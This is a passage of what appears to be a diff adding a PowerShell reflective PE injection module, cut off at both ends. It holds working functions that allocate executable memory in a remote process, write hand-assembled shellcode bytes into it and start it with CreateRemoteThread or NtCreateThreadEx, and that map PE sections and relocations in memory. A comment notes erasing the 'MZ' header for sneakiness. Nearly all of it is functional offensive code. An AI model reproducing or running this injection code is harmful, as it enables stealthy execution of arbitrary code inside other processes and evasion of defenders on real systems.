to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Create-RemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [IntPtr] + $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) + + [Parameter(Position=3, Mandatory=$true)] + [Bool] + $LoadByOrdinal + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal + #If not loading by ordinal, write the function name to the remote process memory + if (-not $LoadByOrdinal) + { + $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + } + #If loading by ordinal, just set RFuncNamePtr to be the ordinal number + else + { + $RFuncNamePtr = $FunctionNamePtr + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + #Cleanup remote process memory + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + if (-not $LoadByOrdinal) + { + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = 